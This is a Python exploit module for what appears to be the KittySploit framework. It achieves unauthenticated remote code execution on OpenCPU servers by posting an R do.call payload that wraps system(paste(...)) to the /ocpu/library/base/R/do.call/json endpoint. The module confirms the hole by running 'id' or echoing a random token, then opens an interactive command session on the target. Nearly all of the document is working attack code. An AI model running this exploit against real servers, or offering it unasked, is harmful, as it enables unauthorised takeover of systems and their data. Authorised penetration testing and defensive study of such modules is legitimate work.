OpenCPU RCE via do.call

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""OpenCPU R do.call system RCE — execute session."""

from __future__ import annotations

import json
import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'OpenCPU RCE via do.call',
        'description': (
            'Exploits unauthenticated R code execution on OpenCPU via '
            '/ocpu/library/base/R/do.call/json with system(paste(...)). '
            'Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://pulsesecurity.co.nz/articles/R-Shells',
            'https://github.com/opencpu/opencpu/',
        ],
        'tags': ['opencpu', 'r', 'rce', 'unauth'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'OpenCPU do.call system'},
                    {'capability': 'shell', 'from_detail': 'execute session'},
                ],
                'suggested_followups': ['scanner/http/opencpu_rce_detect'],
            },
        },
    }

    path = OptString('/ocpu/library/base/R/do.call/json', 'OpenCPU do.call endpoint', False, advanced=True)

    def _body(self, cmd: str) -> str:
        safe = str(cmd).replace('\\', '\\\\').replace("'", "\\'")
        what = f"function(x){{return(system(paste('{safe}'), intern = T))}}"
        return f'what={what}&args={json.dumps({})}'

    def execute(self, cmd: str) -> str:
        r = self.http_request(
            method='POST',
            path=str(self.path or '/ocpu/library/base/R/do.call/json'),
            data=self._body(cmd),
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=True,
        )
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or '') and 'gid=' in (body or ''):
            return {
                'vulnerable': True,
                'reason': 'OpenCPU do.call RCE confirmed via id',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'OpenCPU did not return command output',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()